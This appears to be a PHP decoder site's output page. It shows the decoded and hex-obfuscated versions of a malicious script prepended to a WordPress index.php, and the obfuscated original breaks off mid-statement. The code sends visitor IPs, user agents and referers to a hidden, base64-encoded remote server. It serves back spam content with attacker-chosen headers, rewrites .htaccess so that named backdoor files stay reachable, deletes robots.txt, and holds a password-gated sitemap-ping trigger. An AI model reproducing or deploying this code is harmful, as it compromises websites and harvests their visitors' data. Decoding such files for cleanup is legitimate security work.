Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function CzpJNsfXeSfBEhZFi($rGblVSCxyl, $BzcWSWaLmd, $WSsGxwUBbg) { $tCtqlNaHMi = '..
Decoded Output download
<?php
function CzpJNsfXeSfBEhZFi($rGblVSCxyl, $BzcWSWaLmd, $WSsGxwUBbg) { $tCtqlNaHMi = 'https://%s/'."ping".'?'."sitemap".'=%s%s/%s'; $qFAbTwcPRp = sprintf($tCtqlNaHMi, $rGblVSCxyl, $WSsGxwUBbg["protocol"], $WSsGxwUBbg["server_domain"], $BzcWSWaLmd); $apCUkzbrDz = pRLPxnTtUbXlNlbFVDkoewbY($qFAbTwcPRp); if(isset(${"_REQUEST"}["st"])){ var_dump($qFAbTwcPRp); var_dump($apCUkzbrDz); die(); } $gSjCDZVaHP = "google"; $IsoLRBPOGm = "success"; $ZOIrQbYCmF = "failed"; if (strpos($apCUkzbrDz, $gSjCDZVaHP) != false) { die($IsoLRBPOGm); } else { $tCtqlNaHMi = 'http://%s/'."ping".'?'."sitemap".'=%s%s/%s'; $qFAbTwcPRp = sprintf($tCtqlNaHMi, $rGblVSCxyl, $WSsGxwUBbg["protocol"], $WSsGxwUBbg["server_domain"], $BzcWSWaLmd); $apCUkzbrDz = pRLPxnTtUbXlNlbFVDkoewbY($qFAbTwcPRp); if (strpos($apCUkzbrDz, $gSjCDZVaHP) != false) { die($IsoLRBPOGm); } die($ZOIrQbYCmF); } } function pRLPxnTtUbXlNlbFVDkoewbY($noEUjkSVDf, $SGfElxhAtc = 1, $TGJPPquHrJ = NULL, $bhvUYlLMOt = array(), $UHOABLMSPp = "s") { $sJSpVFSfLS = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; $ExYSPmeEwk = $JdqZlqsgFA = ''; foreach (explode("|", $sJSpVFSfLS) as $ImwWPKRtko) { $inMfDvtkkY = 1; foreach (explode("+", $ImwWPKRtko) as $DRsGhgQBVo) { if (!function_exists($DRsGhgQBVo)) { $inMfDvtkkY = 0; } } unset($DRsGhgQBVo); if ($inMfDvtkkY) { $ExYSPmeEwk = $ImwWPKRtko; break; } } unset($sJSpVFSfLS, $ImwWPKRtko); if ($ExYSPmeEwk == '') { return 0; } if (substr($ExYSPmeEwk, 0, 1) == "c") { $GYhEGFcoZA = curl_init(); curl_setopt($GYhEGFcoZA, CURLOPT_URL, $noEUjkSVDf); curl_setopt($GYhEGFcoZA, CURLOPT_USERAGENT, $UHOABLMSPp); curl_setopt($GYhEGFcoZA, CURLOPT_RETURNTRANSFER, 1); curl_setopt($GYhEGFcoZA, CURLOPT_TIMEOUT, 30); curl_setopt($GYhEGFcoZA, CURLOPT_FRESH_CONNECT, TRUE); if ($SGfElxhAtc == 2) { curl_setopt($GYhEGFcoZA, CURLOPT_POST, 1); if(is_array($TGJPPquHrJ)){ curl_setopt($GYhEGFcoZA, CURLOPT_POSTFIELDS, http_build_query($TGJPPquHrJ)); } } $aWfmsRobNt = curl_exec($GYhEGFcoZA); curl_close($GYhEGFcoZA);/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ if ($aWfmsRobNt) { return $aWfmsRobNt; } } $xlAhNQgKdZ = parse_url($noEUjkSVDf); isset($xlAhNQgKdZ["host"]) || $xlAhNQgKdZ["host"] = ''; isset($xlAhNQgKdZ["path"]) || $xlAhNQgKdZ["path"] = ''; isset($xlAhNQgKdZ["query"])|| $xlAhNQgKdZ["query"] = ''; isset($xlAhNQgKdZ["port"]) || $xlAhNQgKdZ["port"] = ''; $oqDFdSehwW = $xlAhNQgKdZ["path"] ? $xlAhNQgKdZ["path"].($xlAhNQgKdZ["query"] ? '?'.$xlAhNQgKdZ["query"] : '') : "/"; $XYzstyyUcp = $xlAhNQgKdZ["host"]; if ($xlAhNQgKdZ["scheme"] == "https") { $fsTIJymElX = '1.1'; $gMPUpIAlhe = empty($xlAhNQgKdZ["port"]) ? 443 : $xlAhNQgKdZ["port"]; $XYzstyyUcp = 'ssl://'; $XYzstyyUcp .= $xlAhNQgKdZ["host"]; } else { $fsTIJymElX = '1.0'; $gMPUpIAlhe = empty($xlAhNQgKdZ["port"]) ? 80 : $xlAhNQgKdZ["port"]; } $upuGcXXnrs = 'Host: '; $upuGcXXnrs .= $XYzstyyUcp; $bhvUYlLMOt[] = $upuGcXXnrs; $bhvUYlLMOt[] = "Connection".': '."Close"; $bhvUYlLMOt[] = "User-Agent".': ' . $UHOABLMSPp; $bhvUYlLMOt[] = "Accept".': '.'*/*'; unset($upuGcXXnrs); if ($SGfElxhAtc == 2) { if(is_array($TGJPPquHrJ)){ $TGJPPquHrJ = http_build_query($TGJPPquHrJ); } $bhvUYlLMOt[] = "Content-type".': '."application/x-www-form-urlencoded"; $bhvUYlLMOt[] = "Content-Length".': '.strlen($TGJPPquHrJ); $JdqZlqsgFA = "POST $oqDFdSehwW HTTP/$fsTIJymElX" . PHP_EOL.join(PHP_EOL, $bhvUYlLMOt).PHP_EOL.PHP_EOL.$TGJPPquHrJ; unset($TGJPPquHrJ); } else { $JdqZlqsgFA = "GET $oqDFdSehwW HTTP/$fsTIJymElX" . PHP_EOL.join(PHP_EOL, $bhvUYlLMOt).PHP_EOL.PHP_EOL; } unset($bhvUYlLMOt, $xlAhNQgKdZ, $fsTIJymElX, $oqDFdSehwW); $kFAZHQmKFF = $VDAgWmfesH = ''; $GPmODoyOhC = null; if (substr($ExYSPmeEwk, -1) == "n") { $GPmODoyOhC = $ExYSPmeEwk($XYzstyyUcp, $gMPUpIAlhe, $kFAZHQmKFF, $VDAgWmfesH, 30); }else{ if (substr($ExYSPmeEwk, -1) == "t") { $usZYgabsCB = 'tcp://'; $usZYgabsCB .= $XYzstyyUcp; $usZYgabsCB .= ':'; $usZYgabsCB .= $gMPUpIAlhe; $GPmODoyOhC = stream_socket_client($usZYgabsCB, $kFAZHQmKFF, $VDAgWmfesH, 30); unset($usZYgabsCB); } } $PnaaKgeNhT = ''; if ($GPmODoyOhC) { stream_set_blocking($GPmODoyOhC, TRUE); stream_set_timeout($GPmODoyOhC, 30); fwrite($GPmODoyOhC, $JdqZlqsgFA); $EBTTgmRjsx = stream_get_meta_data($GPmODoyOhC); if (!$EBTTgmRjsx["timed_out"]) { while (!feof($GPmODoyOhC)) { $vcGEYOoYQH = fgets($GPmODoyOhC); if ($vcGEYOoYQH && (rawurlencode($vcGEYOoYQH) == "%0D%0A" || rawurlencode($vcGEYOoYQH) == "%0A")) { break; } unset($vcGEYOoYQH); } while (!feof($GPmODoyOhC)) { $zyCrRRwEaA = fread($GPmODoyOhC, 8192); $PnaaKgeNhT .= $zyCrRRwEaA; unset($zyCrRRwEaA); } } unset($EBTTgmRjsx); fclose($GPmODoyOhC); } else { if (substr($ExYSPmeEwk, -1) == "e") { $uTtgmsLRLT = gethostbyname($XYzstyyUcp); $GPmODoyOhC = $ExYSPmeEwk(AF_INET, SOCK_STREAM, 0); if (socket_connect($GPmODoyOhC, $uTtgmsLRLT, $gMPUpIAlhe)) { socket_write($GPmODoyOhC, $JdqZlqsgFA, strlen($JdqZlqsgFA)); while($GdnGpWHmHI=@socket_read($GPmODoyOhC, 8192)){ $PnaaKgeNhT .= $GdnGpWHmHI; unset($GdnGpWHmHI); } $PnaaKgeNhT = explode("
", $PnaaKgeNhT); array_shift($PnaaKgeNhT); $PnaaKgeNhT = implode("
", $PnaaKgeNhT); } socket_close($GPmODoyOhC); unset($uTtgmsLRLT); } } unset($JdqZlqsgFA, $ExYSPmeEwk, $GPmODoyOhC, $gMPUpIAlhe, $XYzstyyUcp); return $PnaaKgeNhT; } function f_check_htaccess() { if (file_exists("robots".'.txt')){ @unlink("robots".'.txt'); } $XLmJzuOoMZ = '.'."htaccess"; $PnaaKgeNhT = @base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); if (file_exists($XLmJzuOoMZ)) { $mZKxLdZFvB = file_get_contents($XLmJzuOoMZ); if ($PnaaKgeNhT == $mZKxLdZFvB) { return; } } @chmod($XLmJzuOoMZ, 0777); @file_put_contents($XLmJzuOoMZ, $PnaaKgeNhT); @chmod($XLmJzuOoMZ, 0644); } $eSXBYtbGCm = "xayHLRK0acEDsoSvQLGzwUqzEMeTHYltKYd2agW0YLyXaYQ4ZNxCc5BigZOXGNR0TYkmrNrhhcT2u0xuGbMGglq2jZjQk=L="; $HhiLpXRNOJ = str_split($eSXBYtbGCm); $hlULBrWblR = ''; for ($zofEVZoVcL=0;$zofEVZoVcL<count($HhiLpXRNOJ);$zofEVZoVcL++) { if ($zofEVZoVcL%2 != 0) { $hlULBrWblR .= $HhiLpXRNOJ[$zofEVZoVcL]; } } $WSsGxwUBbg["default_params"] = $eSXBYtbGCm; $WSsGxwUBbg["api"] = base64_decode($hlULBrWblR); $WSsGxwUBbg["server_domain"] =isset(${"_SERVER"}["HTTP_HOST"]) ? ${"_SERVER"}["HTTP_HOST"] : ${"_SERVER"}["SERVER_NAME"]; $WSsGxwUBbg["request_url"] = ${"_SERVER"}["REQUEST_URI"]; $WSsGxwUBbg["referer"] = isset(${"_SERVER"}["HTTP_REFERER"]) ? ${"_SERVER"}["HTTP_REFERER"] : ''; $WSsGxwUBbg["user_agent"] = isset(${"_SERVER"}["HTTP_USER_AGENT"]) ? ${"_SERVER"}["HTTP_USER_AGENT"] : ''; $WSsGxwUBbg["ip"] = isset(${"_SERVER"}["HTTP_VIA"]) ? ${"_SERVER"}["HTTP_X_FORWARDED_FOR"] : ${"_SERVER"}["REMOTE_ADDR"]; if($WSsGxwUBbg["ip"] == null) {$WSsGxwUBbg["ip"] = "";} $WSsGxwUBbg["protocol"] = isset(${"_SERVER"}["HTTPS"]) ? 'https://' : 'http://'; $WSsGxwUBbg["language"] = isset(${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"]) ? ${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"] : ''; if (isset(${"_REQUEST"}["params"])) {print_r($WSsGxwUBbg);die();} if (isset(${"_REQUEST"}["pwd163"])) { if (md5(${"_REQUEST"}["pwd163"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8"){ if (isset(${"_GET"}["sitemap"])) { $BzcWSWaLmd = ${"_GET"}["sitemap"]; $gNCkXcKPUO = 'www.google.com'; if (isset(${"_GET"}["google_url"])) { $gNCkXcKPUO = ${"_GET"}["google_url"]; } CzpJNsfXeSfBEhZFi($gNCkXcKPUO, $BzcWSWaLmd, $WSsGxwUBbg); } } } f_check_htaccess(); $oCDdLrzurE = array( "domain" => $WSsGxwUBbg["server_domain"], "request_url" => $WSsGxwUBbg["request_url"], "ip" => $WSsGxwUBbg["ip"], "agent" => $WSsGxwUBbg["user_agent"], "referer" => $WSsGxwUBbg["referer"], "protocol" => $WSsGxwUBbg["protocol"], "language" => $WSsGxwUBbg["language"] ); $PnaaKgeNhT = pRLPxnTtUbXlNlbFVDkoewbY($WSsGxwUBbg["api"], 2, $oCDdLrzurE, array(), $WSsGxwUBbg["server_domain"]); if (isset(${"_REQUEST"}["dump"])) { var_dump($PnaaKgeNhT); $PnaaKgeNhT = pRLPxnTtUbXlNlbFVDkoewbY("https://"."google".".com"); var_dump($PnaaKgeNhT); die(); } $PnaaKgeNhT = @gzuncompress(base64_decode($PnaaKgeNhT)); $tSZpeDkfiM = @preg_split("/\|/si", $PnaaKgeNhT, -1, PREG_SPLIT_NO_EMPTY); if ($tSZpeDkfiM !== false) { $zyCrRRwEaA = array_pop($tSZpeDkfiM); $zyCrRRwEaA = base64_decode($zyCrRRwEaA); foreach ($tSZpeDkfiM as $srcOFcvBhf) { @header($srcOFcvBhf); } echo $zyCrRRwEaA; die(); } ?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php'; ?>Did this file decode correctly?
Original Code
<?php
function CzpJNsfXeSfBEhZFi($rGblVSCxyl, $BzcWSWaLmd, $WSsGxwUBbg) { $tCtqlNaHMi = 'https://%s/'."\x70\x69\x6e\x67".'?'."\x73\x69\x74\x65\x6d\x61\x70".'=%s%s/%s'; $qFAbTwcPRp = sprintf($tCtqlNaHMi, $rGblVSCxyl, $WSsGxwUBbg["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], $WSsGxwUBbg["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], $BzcWSWaLmd); $apCUkzbrDz = pRLPxnTtUbXlNlbFVDkoewbY($qFAbTwcPRp); if(isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x73\x74"])){ var_dump($qFAbTwcPRp); var_dump($apCUkzbrDz); die(); } $gSjCDZVaHP = "\x67\x6f\x6f\x67\x6c\x65"; $IsoLRBPOGm = "\x73\x75\x63\x63\x65\x73\x73"; $ZOIrQbYCmF = "\x66\x61\x69\x6c\x65\x64"; if (strpos($apCUkzbrDz, $gSjCDZVaHP) != false) { die($IsoLRBPOGm); } else { $tCtqlNaHMi = 'http://%s/'."\x70\x69\x6e\x67".'?'."\x73\x69\x74\x65\x6d\x61\x70".'=%s%s/%s'; $qFAbTwcPRp = sprintf($tCtqlNaHMi, $rGblVSCxyl, $WSsGxwUBbg["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], $WSsGxwUBbg["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], $BzcWSWaLmd); $apCUkzbrDz = pRLPxnTtUbXlNlbFVDkoewbY($qFAbTwcPRp); if (strpos($apCUkzbrDz, $gSjCDZVaHP) != false) { die($IsoLRBPOGm); } die($ZOIrQbYCmF); } } function pRLPxnTtUbXlNlbFVDkoewbY($noEUjkSVDf, $SGfElxhAtc = 1, $TGJPPquHrJ = NULL, $bhvUYlLMOt = array(), $UHOABLMSPp = "s") { $sJSpVFSfLS = "\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74\x2b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x2b\x63\x75\x72\x6c\x5f\x65\x78\x65\x63\x7c\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e\x7c\x70\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e\x7c\x73\x74\x72\x65\x61\x6d\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6c\x69\x65\x6e\x74\x7c\x73\x6f\x63\x6b\x65\x74\x5f\x63\x72\x65\x61\x74\x65"; $ExYSPmeEwk = $JdqZlqsgFA = ''; foreach (explode("\x7c", $sJSpVFSfLS) as $ImwWPKRtko) { $inMfDvtkkY = 1; foreach (explode("\x2b", $ImwWPKRtko) as $DRsGhgQBVo) { if (!function_exists($DRsGhgQBVo)) { $inMfDvtkkY = 0; } } unset($DRsGhgQBVo); if ($inMfDvtkkY) { $ExYSPmeEwk = $ImwWPKRtko; break; } } unset($sJSpVFSfLS, $ImwWPKRtko); if ($ExYSPmeEwk == '') { return 0; } if (substr($ExYSPmeEwk, 0, 1) == "\x63") { $GYhEGFcoZA = curl_init(); curl_setopt($GYhEGFcoZA, CURLOPT_URL, $noEUjkSVDf); curl_setopt($GYhEGFcoZA, CURLOPT_USERAGENT, $UHOABLMSPp); curl_setopt($GYhEGFcoZA, CURLOPT_RETURNTRANSFER, 1); curl_setopt($GYhEGFcoZA, CURLOPT_TIMEOUT, 30); curl_setopt($GYhEGFcoZA, CURLOPT_FRESH_CONNECT, TRUE); if ($SGfElxhAtc == 2) { curl_setopt($GYhEGFcoZA, CURLOPT_POST, 1); if(is_array($TGJPPquHrJ)){ curl_setopt($GYhEGFcoZA, CURLOPT_POSTFIELDS, http_build_query($TGJPPquHrJ)); } } $aWfmsRobNt = curl_exec($GYhEGFcoZA); curl_close($GYhEGFcoZA);/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ if ($aWfmsRobNt) { return $aWfmsRobNt; } } $xlAhNQgKdZ = parse_url($noEUjkSVDf); isset($xlAhNQgKdZ["\x68\x6f\x73\x74"]) || $xlAhNQgKdZ["\x68\x6f\x73\x74"] = ''; isset($xlAhNQgKdZ["\x70\x61\x74\x68"]) || $xlAhNQgKdZ["\x70\x61\x74\x68"] = ''; isset($xlAhNQgKdZ["\x71\x75\x65\x72\x79"])|| $xlAhNQgKdZ["\x71\x75\x65\x72\x79"] = ''; isset($xlAhNQgKdZ["\x70\x6f\x72\x74"]) || $xlAhNQgKdZ["\x70\x6f\x72\x74"] = ''; $oqDFdSehwW = $xlAhNQgKdZ["\x70\x61\x74\x68"] ? $xlAhNQgKdZ["\x70\x61\x74\x68"].($xlAhNQgKdZ["\x71\x75\x65\x72\x79"] ? '?'.$xlAhNQgKdZ["\x71\x75\x65\x72\x79"] : '') : "\x2f"; $XYzstyyUcp = $xlAhNQgKdZ["\x68\x6f\x73\x74"]; if ($xlAhNQgKdZ["\x73\x63\x68\x65\x6d\x65"] == "\x68\x74\x74\x70\x73") { $fsTIJymElX = '1.1'; $gMPUpIAlhe = empty($xlAhNQgKdZ["\x70\x6f\x72\x74"]) ? 443 : $xlAhNQgKdZ["\x70\x6f\x72\x74"]; $XYzstyyUcp = 'ssl://'; $XYzstyyUcp .= $xlAhNQgKdZ["\x68\x6f\x73\x74"]; } else { $fsTIJymElX = '1.0'; $gMPUpIAlhe = empty($xlAhNQgKdZ["\x70\x6f\x72\x74"]) ? 80 : $xlAhNQgKdZ["\x70\x6f\x72\x74"]; } $upuGcXXnrs = 'Host: '; $upuGcXXnrs .= $XYzstyyUcp; $bhvUYlLMOt[] = $upuGcXXnrs; $bhvUYlLMOt[] = "\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e".': '."\x43\x6c\x6f\x73\x65"; $bhvUYlLMOt[] = "\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74".': ' . $UHOABLMSPp; $bhvUYlLMOt[] = "\x41\x63\x63\x65\x70\x74".': '.'*/*'; unset($upuGcXXnrs); if ($SGfElxhAtc == 2) { if(is_array($TGJPPquHrJ)){ $TGJPPquHrJ = http_build_query($TGJPPquHrJ); } $bhvUYlLMOt[] = "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\x65".': '."\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64"; $bhvUYlLMOt[] = "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68".': '.strlen($TGJPPquHrJ); $JdqZlqsgFA = "POST $oqDFdSehwW HTTP/$fsTIJymElX" . PHP_EOL.join(PHP_EOL, $bhvUYlLMOt).PHP_EOL.PHP_EOL.$TGJPPquHrJ; unset($TGJPPquHrJ); } else { $JdqZlqsgFA = "GET $oqDFdSehwW HTTP/$fsTIJymElX" . PHP_EOL.join(PHP_EOL, $bhvUYlLMOt).PHP_EOL.PHP_EOL; } unset($bhvUYlLMOt, $xlAhNQgKdZ, $fsTIJymElX, $oqDFdSehwW); $kFAZHQmKFF = $VDAgWmfesH = ''; $GPmODoyOhC = null; if (substr($ExYSPmeEwk, -1) == "\x6e") { $GPmODoyOhC = $ExYSPmeEwk($XYzstyyUcp, $gMPUpIAlhe, $kFAZHQmKFF, $VDAgWmfesH, 30); }else{ if (substr($ExYSPmeEwk, -1) == "\x74") { $usZYgabsCB = 'tcp://'; $usZYgabsCB .= $XYzstyyUcp; $usZYgabsCB .= ':'; $usZYgabsCB .= $gMPUpIAlhe; $GPmODoyOhC = stream_socket_client($usZYgabsCB, $kFAZHQmKFF, $VDAgWmfesH, 30); unset($usZYgabsCB); } } $PnaaKgeNhT = ''; if ($GPmODoyOhC) { stream_set_blocking($GPmODoyOhC, TRUE); stream_set_timeout($GPmODoyOhC, 30); fwrite($GPmODoyOhC, $JdqZlqsgFA); $EBTTgmRjsx = stream_get_meta_data($GPmODoyOhC); if (!$EBTTgmRjsx["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]) { while (!feof($GPmODoyOhC)) { $vcGEYOoYQH = fgets($GPmODoyOhC); if ($vcGEYOoYQH && (rawurlencode($vcGEYOoYQH) == "%0D%0A" || rawurlencode($vcGEYOoYQH) == "%0A")) { break; } unset($vcGEYOoYQH); } while (!feof($GPmODoyOhC)) { $zyCrRRwEaA = fread($GPmODoyOhC, 8192); $PnaaKgeNhT .= $zyCrRRwEaA; unset($zyCrRRwEaA); } } unset($EBTTgmRjsx); fclose($GPmODoyOhC); } else { if (substr($ExYSPmeEwk, -1) == "\x65") { $uTtgmsLRLT = gethostbyname($XYzstyyUcp); $GPmODoyOhC = $ExYSPmeEwk(AF_INET, SOCK_STREAM, 0); if (socket_connect($GPmODoyOhC, $uTtgmsLRLT, $gMPUpIAlhe)) { socket_write($GPmODoyOhC, $JdqZlqsgFA, strlen($JdqZlqsgFA)); while($GdnGpWHmHI=@socket_read($GPmODoyOhC, 8192)){ $PnaaKgeNhT .= $GdnGpWHmHI; unset($GdnGpWHmHI); } $PnaaKgeNhT = explode("\r\n\r\n", $PnaaKgeNhT); array_shift($PnaaKgeNhT); $PnaaKgeNhT = implode("\r\n\r\n", $PnaaKgeNhT); } socket_close($GPmODoyOhC); unset($uTtgmsLRLT); } } unset($JdqZlqsgFA, $ExYSPmeEwk, $GPmODoyOhC, $gMPUpIAlhe, $XYzstyyUcp); return $PnaaKgeNhT; } function f_check_htaccess() { if (file_exists("\x72\x6f\x62\x6f\x74\x73".'.txt')){ @unlink("\x72\x6f\x62\x6f\x74\x73".'.txt'); } $XLmJzuOoMZ = '.'."\x68\x74\x61\x63\x63\x65\x73\x73"; $PnaaKgeNhT = @base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); if (file_exists($XLmJzuOoMZ)) { $mZKxLdZFvB = file_get_contents($XLmJzuOoMZ); if ($PnaaKgeNhT == $mZKxLdZFvB) { return; } } @chmod($XLmJzuOoMZ, 0777); @file_put_contents($XLmJzuOoMZ, $PnaaKgeNhT); @chmod($XLmJzuOoMZ, 0644); } $eSXBYtbGCm = "xayHLRK0acEDsoSvQLGzwUqzEMeTHYltKYd2agW0YLyXaYQ4ZNxCc5BigZOXGNR0TYkmrNrhhcT2u0xuGbMGglq2jZjQk=L="; $HhiLpXRNOJ = str_split($eSXBYtbGCm); $hlULBrWblR = ''; for ($zofEVZoVcL=0;$zofEVZoVcL<count($HhiLpXRNOJ);$zofEVZoVcL++) { if ($zofEVZoVcL%2 != 0) { $hlULBrWblR .= $HhiLpXRNOJ[$zofEVZoVcL]; } } $WSsGxwUBbg["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"] = $eSXBYtbGCm; $WSsGxwUBbg["\x61\x70\x69"] = base64_decode($hlULBrWblR); $WSsGxwUBbg["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"] =isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"] : ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"]; $WSsGxwUBbg["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"] = ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"]; $WSsGxwUBbg["\x72\x65\x66\x65\x72\x65\x72"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"] : ''; $WSsGxwUBbg["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"] : ''; $WSsGxwUBbg["\x69\x70"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x56\x49\x41"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x46\x4f\x52"] : ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52"]; if($WSsGxwUBbg["\x69\x70"] == null) {$WSsGxwUBbg["\x69\x70"] = "";} $WSsGxwUBbg["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x53"]) ? 'https://' : 'http://'; $WSsGxwUBbg["\x6c\x61\x6e\x67\x75\x61\x67\x65"] = isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"]) ? ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"] : ''; if (isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x70\x61\x72\x61\x6d\x73"])) {print_r($WSsGxwUBbg);die();} if (isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x70\x77\x64\x31\x36\x33"])) { if (md5(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x70\x77\x64\x31\x36\x33"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8"){ if (isset(${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"])) { $BzcWSWaLmd = ${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"]; $gNCkXcKPUO = 'www.google.com'; if (isset(${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"])) { $gNCkXcKPUO = ${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"]; } CzpJNsfXeSfBEhZFi($gNCkXcKPUO, $BzcWSWaLmd, $WSsGxwUBbg); } } } f_check_htaccess(); $oCDdLrzurE = array( "\x64\x6f\x6d\x61\x69\x6e" => $WSsGxwUBbg["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"], "\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c" => $WSsGxwUBbg["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"], "\x69\x70" => $WSsGxwUBbg["\x69\x70"], 